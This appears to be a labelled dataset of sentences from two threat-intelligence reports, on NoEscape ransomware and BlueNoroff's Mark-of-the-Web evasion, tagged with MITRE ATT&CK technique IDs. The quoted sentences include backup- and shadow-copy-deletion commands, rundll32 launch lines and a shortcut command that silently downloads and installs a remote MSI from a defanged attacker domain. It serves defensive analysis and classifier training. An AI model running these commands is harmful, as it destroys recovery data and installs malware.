{"sentence": "The NoEscape ransomware excludes the below file extensions and folder names from encryption.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 6 – directory names and file extensions excluded by NoEscape ransomware Encryption To encrypt files in the victim’s system, the ransomware utilizes the “Microsoft Enhanced RSA and AES Cryptographic Provider” libraries.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Within these libraries, the malware leverages various functions from the CryptoAPI, including CryptAcquireContextW(), CryptImportKey(), CryptSetKeyParam(), and CryptEncrypt().", "labels": ["T1106"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "By utilizing these functions, the ransomware can employ robust encryption techniques to ensure that the victim’s files are securely locked and inaccessible without the decryption key.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 7 – File Encryption In the next step, the malware renames the encrypted files with the extension “.CCBDFHCHFD” and replaces them with the original files using the MoveFileExW() API function, as shown below.", "labels": ["T1106"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 8 – MoveFileW() API", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The image below illustrates the files that have been encrypted by the NoEscape ransomware after the successful infection on the victim’s machine.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 9 – Files encrypted by NoEscape Ransomware Delete System Backup & Shadowcopy Additionally, the ransomware runs a series of commands to delete shadow copies and system backups, effectively preventing file recovery attempts.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "By executing these commands, the ransomware ensures that alternative copies of the encrypted files are removed, limiting the victim’s ability to restore their files through backup or shadow copy mechanisms.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "CommandsDescriptionwmic SHADOWCOPY DELETE /nointeractiveThis command uses the Windows Management Instrumentation Command-line (WMIC) to delete all shadow copies without user interaction.", "labels": ["T1047"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "It helps remove any remaining shadow copies that may not have been deleted by the other commands.wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldestThis command uses the wbadmin tool to delete the oldest system state backup.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "System state backups include critical operating system files, such as the registry, COM+", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Class Registration Database, and system files.wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0This command also uses wbadmin to delete all versions of system state backups except the most recent one.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The -keepVersions parameter specifies the number of versions to keep, and 0 means all versions except the latest one will be deleted.wbadmin DELETE BACKUP -deleteOldestThis command utilizes wbadmin to delete the oldest regular backup.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Regular backups typically include user data and other files.wbadmin DELETE BACKUP -keepVersions:0Similar to the previous command, this one deletes all versions of regular backups except the most recent one, based on the -keepVersions parameter.vssadmin Delete Shadows /All /QuietThis command uses the vssadmin tool to delete all shadow copies (also known as volume snapshots) on the system.bcdedit /set {default} recoveryenabled NoThis command uses the bcdedit tool to modify the boot configuration data (BCD) of the default boot entry.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "It sets the recoveryenabled option to “No,” which disables the automatic recovery options during system startup.bcdedit /set", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "{default} bootstatuspolicy ignoreallfailuresThis command also uses bcdedit to modify the boot configuration data.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "It sets the bootstatuspolicy option to “ignoreallfailures,” which means the system will ignore any failures encountered during the boot process.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The below figure illustrates the sequence of commands executed by the NoEscape ransomware to delete shadow copies and system backups.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 10 – Commands executed to delete shadow copies and system backups Ransom Note Finally, the ransom note that is dropped in the system provides victims with instructions on how to establish contact with the NoEscape Ransomware Group to initiate negotiation proceedings regarding the ransom.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The ransom note serves as a communication channel through which the victims can follow the specified steps to engage with the ransomware operators and negotiate the terms of the ransom payment.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 11 – NoEscape Ransom note Linux Variant The NoEscape Linux variant consists of three files: “script_linux.sh,” “script_esxi.sh” and “164f8295_linux.elf“.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Each of these files serves specific purposes and contributes to the overall functionality of the Linux variant of the ransomware.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Ransomware Targeting Linux Machines The “script_linux.sh” script is designed to facilitate the execution of a ransomware payload “164f8295_linux.elf“.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Its primary purpose is to carry out the encryption process on the victim’s Linux machine by scanning files in a specified or generic path and running the ransomware payload, “164f8295_linux.elf”, on each file it encounters.", "labels": ["T1083"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The below figure shows the code snippet “script_linux.sh”.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 12 – content of script_linux.sh The script “script_linux.sh” executes the following functions: SetLimits() –", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "This function is responsible for adjusting the resource limits of the running process.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Its purpose is to increase the maximum number of open file descriptors and the maximum number of allowed processes.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "By doing so, the function ensures that the script has the capability to handle a larger number of open files and concurrent processes, which is crucial for efficient file encryption in the context of ransomware.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "EmptyTrash() – This function is responsible for deleting all files and directories in the user’s trash folder.", "labels": ["T1070.004"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "It clears the trash before the ransomware starts encrypting files.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "This step is taken to ensure that any previously deleted files in the trash cannot be recovered by the victims.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "By emptying the trash, the ransomware eliminates any possibility of file restoration from that location, making the encryption process more effective and irreversible.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "ExecPayload() –", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "This function executes the ransomware payload file “164f8295_linux.elf”, by passing the file path to be encrypted as an argument.", "labels": ["T1027"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "ScanPath(): This function scans a specified path by finding all files within the given directory and its subdirectories.", "labels": ["T1083"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "It then calls ExecPayload() for each file to execute the Ransomware payload, thereby initiating the encryption process.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "WaitPayload(): This function waits until the payload process is no longer running.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "It checks the number of running instances of the payload executable and waits until the count becomes zero.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The purpose of waiting for the Ransomware process to finish is to ensure that all files have been encrypted before proceeding to the next steps of the ransomware attack.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Cleanup() – This function performs cleanup operations after encrypting files in the victim’s machine.", "labels": ["T1027"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "It removes log files and temporary files from the root directory.", "labels": ["T1027"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "It also deletes the ransomware, script file, and ransom note (index.html), ensuring that no evidence remains on the compromised system.", "labels": ["T1027"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Ransomware Targeting Vmware ESXi Servers The “script_esxi.sh” script is designed to automate the execution of ransomware payload “164f8295_linux.elf” on ESXi servers.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "It targets specific paths, including NFS volumes and VM volumes, and encrypts files found within those paths.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The below figure shows the code snippet “script_esxi.sh”.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 13 – Content of script_esxi.sh The script “script_esxi.sh” executes the following functions:", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "StopVMS(): This function stops running virtual machines (VMs) on an ESXi server.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "It uses the esxcli command to list all VM processes and forcibly kills them.", "labels": ["T1057"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "It also kills any remaining processes related to VMs.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "ScanNFS(): This function scans NFS (Network File System) volumes on an ESXi server.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "It retrieves the list of NFS volumes using esxcli and then iterates over each volume to find files.", "labels": ["T1083"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "For each file found, it calls ExecPayload() to execute the ransomware payload.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "ScanVMS() – This function scans VM volumes on an ESXi server.", "labels": ["T1083"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "It retrieves the list of VM volumes using the esxcli command and then iterates over each volume to search for specific files related to virtual machines.", "labels": ["T1083"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "These file extensions include .nvram,.vmdk,.vmem,.vmsd,.vmsn,.vmss,.vmx,.vmxf, and .vswp.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "For each file found, the function calls the ExecPayload() function to execute the ransomware payload for encrypting them.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Deface() – This function replaces the “index.html” and “motd” files with ransom notes to ensure the ransom alert is displayed to victims upon login.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Post()-", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "This function modifies system files such as cron tab entries and configuration files to further disrupt the system and prevent recovery.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Linux Ransomware Payload:", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The file “164f8295_linux.elf” (Sha256: 21162bbd796ad2bf9954265276bfebea8741596e8fe9d86070245d9b5f9db6da) is responsible for encrypting the files in the victim’s machine.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Upon execution, the ransomware encrypts files using the chacha20 algorithm.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The Ransomware incorporates a feature to encrypt larger files in smaller chunks.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The TA can mention the file size, which is considered as larger, and the size of encryption in the Ransomware panel while building the binary.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The below figure shows the code used by ransomware for validating and encrypting larger files.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 14 – Validating and Encrypting Larger Files Finally, the Ransomware drops a ransom note named “HOW_TO_RECOVER_FILES.txt ” which instructs the victims on how to reach out to the TAs to recover their encrypted files and pay a ransom.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 15- Ransom Note Conclusion NoEscape RaaS is a new ransomware group that aims to entice new affiliates with the promise of profits.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "They are actively seeking affiliates through postings on various dark web forums.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Our analysis of the Windows and Linux malware executables indicates that the malware poses a threat to organizations of all types.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "As the group is relatively new, it is likely that they will evolve their tools and tactics to target multiple organizations.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "We will maintain our vigilance in monitoring NoEscape RaaS, their tools, tactics, and procedures, in order to provide regular updates to our customers and readers in the future.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Our Recommendations We have listed some essential cybersecurity best practices that create the first line of control against attackers.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "We recommend that our readers follow the best practices given below: Safety Measures Needed to Prevent Ransomware Attacks Conduct regular backup practices and keep those backups offline or in a separate network Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever possible and pragmatic Use a reputed anti-virus and Internet security software package on your connected devices, including PC, laptop, and mobile Refrain from opening untrusted links and email attachments without verifying their authenticity Users Should Take the Following Steps After the Ransomware Attack Detach infected devices on the same network Disconnect external storage devices if connected Inspect system logs for suspicious events Impact of Ransomware Loss of valuable data Loss of the organization’s reputation and integrity Loss of the organization’s sensitive business information Disruption in organization operation Financial loss MITRE ATT&CK:registered: Techniques Tactic Technique ID Technique Name ExecutionT1059 T1204Command and Scripting Interpreter User ExecutionPersistenceT1547.001 Registry Run Keys / Startup FolderDiscoveryT1083File and Directory DiscoveryDefense EvasionT1070 T1562Indicator Removal Impair DefensesImpactT1486 T1490Data encrypted for impact Inhibit System RecoveryIndicators of Compromise (IOCs) Indicators Indicator Type Description 65f35ae4203cf5041a0aaa358dd3d74c ea1f7940271fc80d06b2f222506020b650ad41bc 68e5caa3f0fd4adc595b1163bf0dd30ca621c5d7a6ad0a20dfa1968346daa3c8MD5", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "SHA1 SHA2561ce30fbd_dll.dll9ea0d4448472cdeeb290e8006e8b1e9b 30f71a24c15dd81965b12996a79d914acf4f169e 2cd1ca52a5d404176f0ec7debeceb4ba3c95b139061f86ac971195b02d854b0cMD5", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "SHA1 SHA25606b91e4a_exe.exebd69a645fa69fd8d5ba56b9c3f468711 12dc0a2de3ad30201107bfcb679de5acacf31e5c 68ff9855262b7a9c27e349c5e3bf68b2fc9f9ca32a9d2b844f2265dccd2bc0d8MD5 SHA1 SHA25623cd1f01_exe.exec850f6816459e3364b2a54239642101b", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "30c60f18279ed5fd36e3ac2d3ba5ddbdc5d1f624 21162bbd796ad2bf9954265276bfebea8741596e8fe9d86070245d9b5f9db6daMD5 SHA1 SHA256164f8295_linux.elf473d65d1231ccdfa0099d463b09cf9b9 9cbc7417fa5ce2f6d87026337fc7892e4f485819 07c70968c66c93b6d6c9a90255e1c81a3b385632c83f53f69534b3f55212ced9MD5", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "SHA1 SHA256bd83e75f_dllreflinj.dll47ae17d89c2d9b6acdc7458f5df1c6f7 d38c613020cb4616783c8535380e28404f7eaebf 9d346518330eeefbf288aeca7b2b6243bc158415c7fee3f2c19694f0e5f7d51cMD5", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "SHA1 SHA256ca3ec998_xp.exe34de9725e232ba82275bb0dcf9282e16 b17403e7dcb992ba8d2b56dd843406264d3910e5 aa5a487db37ce176e17c7abbb2b1d460ba926344e46737f2f64b65bf5a4a3e58MD5", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "SHA1 SHA256script_esxi.sh17d55dc09e2a3f10d4ee45156c2c53f1 317f296131b37a73c9a5d253015821dfdc8b1190 16d9e969457a76874e7452e687a7b6843c65ef75d1a4404d369074ad389f6c38MD5 SHA1 SHA256script_linux.sh", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "BlueNoroff group is a financially motivated threat actor eager to profit from its cyberattack capabilities.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "We have published technical details of how this notorious group steals cryptocurrency before.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "We continue to track the group’s activities and this October we observed the adoption of new malware strains in its arsenal.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The group usually takes advantage of Word documents and uses shortcut files for the initial intrusion.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "However, it has recently started to adopt new methods of malware delivery.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The first new method the group adopted is aimed at evading the Mark-of-the-Web (MOTW) flag, the security measure whereby Windows displays a warning message when the user tries to open a file downloaded from the internet.", "labels": ["T1204.002"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "To do this, optical disk image (.iso extension) and virtual hard disk (.vhd extension) file formats were used.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "This is a common tactic used nowadays to evade MOTW, and BlueNoroff has also adopted it.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "In addition, the group tested different file types to refine malware delivery methods.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "We observed a new Visual Basic Script, a previously unseen Windows Batch file, and a Windows executable.", "labels": ["T1059.003"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "It seems the actors behind BlueNoroff are expanding or experimenting with new file types to convey their malware efficiently.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "After researching the infrastructure that was utilized, we discovered more than 70 domains used by this group, meaning they were very active until recently.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Also, they created numerous fake domains that look like venture capital and bank domains.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Most of the domains imitate Japanese venture capital companies, indicating that the group has an extensive interest in Japanese financial entities.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Executive summary BlueNoroff group introduced new file types to evade Mark-of-the-Web (MOTW) security measures; BleuNoroff group expanded file types and tweaked infection methods; BlueNoroff created numerous fake domains impersonating venture capital companies and banks.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Background At the end of September 2022, we observed new BlueNoroff malware in our telemetry.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "After a careful investigation, we confirmed that the actor had adopted new techniques to convey the final payload.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The actor took advantage of several scripts, including Visual Basic Script and Windows Batch script.", "labels": ["T1059.003"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "They also started using disk image file formats, .iso", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "and .vhd, to deliver their malware.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "For intermediate infection, the actor introduced a downloader to fetch and spawn the next stage payload.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Although the initial intrusion methods were very different in this campaign, the final payload that we had analyzed previously was used without significant changes.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Novel infection chain Long-lasting initial infection Based on our telemetry, we observed that one victim in the UAE was attacked using a malicious Word document.", "labels": ["T1566.001"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The victim received a document file named “Shamjit Client Details Form.doc” on September 2, 2022.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Unfortunately, we couldn’t acquire the document, but it was executed from the following path: C:\\Users\\[username]\\Desktop\\SALES", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "OPS", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "[redacted]\\[redacted]\\Signed Forms & Income Docs\\Shamjit", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Client Details Form.doc Judging from the file path, we can assume that the victim was an employee in the sales department responsible for signing contracts.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Upon launch, the malicious document connects to the remote server and downloads the payload.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "In this particular case, the executable ieinstal.exe was used to bypass UAC.", "labels": ["T1548.002"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Remote URL: https://bankofamerica.us[.]org/lsizTZCslJm/W+Ltv_Pa/qUi+KSaD/_rzNkkGuW6/cQHgsE= Created payload path:", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "%Profile%\\cr.dat Spawned command: cmd.exe %Profile%\\cr.dat 5pKwgIV5otiKb6JrNddaVJOaLjMkj4zED238vIU= After initial infection, we observed several keyboard hands-on activities by the operator.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Through the implanted backdoor, they attempted to fingerprint the victim and install additional malware with high privileges.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Upon infection, the operator executed several Windows commands to gather basic system information.", "labels": ["T1059.003", "T1082"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "They then returned 18 hours later to install further malware with high privileges.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Post-exploitation Based on our telemetry, when the malicious Word document opens it fetches the next payload from the remote server: Download URL: http://avid.lno-prima[.]lol/VcIf1hLJopY/shU_pJgW2Y/KvSuUJYGoa/sX+Xk4Go/gGhI= The fetched payload is supposed to be saved in %Profile%\\update.dll.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Eventually, the fetched file is spawned with the following commands: Command #1:", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "rundll32.exe %Profile%\\update.dll,#1 5pOygIlrsNaAYqx8JNZSTouZNjo+j5XEFHzxqIIqpQ== Command #2:", "labels": ["T1218.011"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "rundll32.exe %Profile%\\update.dll,#1 5oGygYVhos+IaqBlNdFaVJSfMiwhh4LCDn4=", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "One of the other methods the BlueNoroff group usually uses is a ZIP archive with a shortcut file.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The archive file we recently discovered contained a password-protected decoy document and a shortcut file named “Password.txt.lnk“.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "This is a classic BlueNoroff strategy to persuade the victim to execute the malicious shortcut file to acquire the decoy document’s password.", "labels": ["T1204.002"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The latest archive file (MD5 1e3df8ee796fc8a13731c6de1aed0818) discovered has a Japanese file name, 新しいボーナススケジュール.zip (Japanese for “New bonus schedule”), indicating they were interested in Japanese targets.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The main difference from the previous shortcut sample was that it fetched an additional script payload (Visual Basic Script or HTML Application); also, a different method of fetching and executing the next stage payload was adopted at this time.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The command below was executed when the victim double-clicked on the shortcut file:cmd.exe /c DeviceCredentialDeployment & echo jbusguid> %APPDATA%\\Pass.txt & start %APPDATA%\\Pass.txt && FOR %i IN (%systemroot%\\system32\\msiexec.*)", "labels": ["T1059.003", "T1204.002"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "DO msiexec -c /Q /i", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "hxxps://www.capmarketreport[.]com/packageupd.msi?ccop=RoPbnVqYd & timeout To evade detection, the actor utilized Living Off the Land Binaries (LOLBins).", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The DeviceCredentialDeployment execution is a well-known LOLBin used to hide the command’s windows.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The actor also abused the msiexe.exe file to silently launch the fetched Windows Installer file.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Updated method #1: Tricks to evade MOTW flag We observed that the actor examined different file types to deliver their malware.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Recently, many threat actors have adopted image files to avoid MOTW (Mark-of-the-Web).", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "In a nutshell, MOTW is a mitigation technique introduced by Microsoft.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The NTFS file system marks a file downloaded from the internet, and Windows handles the file in a safe way.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "For example, when a Microsoft Office file is fetched from the internet, the OS opens it in Protected View, which restricts the execution of the embedded macro.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "In order to avoid this mitigation technique, more threat actors have started abusing ISO file types.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The BlueNoroff group likely experimented with ISO image files to deliver their malware.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Although it’s still under development, we mention this sample as an early warning.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "This ISO image file contains one PowerPoint slide show and one Visual Basic Script.", "labels": ["T1027"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Embedded files of ISO image The Microsoft PowerPoint file contains a link.", "labels": ["T1027"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "When the user clicks the link, it executes the 1.vbs file through the WScript process.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "When we checked the VBS file, it only generated an “ok” message, which suggests BlueNoroff is still experimenting with this method.<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?> <Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId2\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink\" Target=\"wscript%201.vbs\" TargetMode=\"External\"/><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout\" Target=\"../slideLayouts/slideLayout1.xml\"/></Relationships> Based on our other findings, we discovered an in-the-wild sample (MD5 a17e9fc78706431ffc8b3085380fe29f) from VirusTotal.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "At the time of analysis, this .vhd sample wasn’t detected by any antivirus.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The virtual disk file contains a decoy PDF file, Windows executable file, and an encrypted Dump.bin file.", "labels": ["T1027"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The PDF and executable files have numerous spaces before the file extension to hide it and allay suspicions.", "labels": ["T1027"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
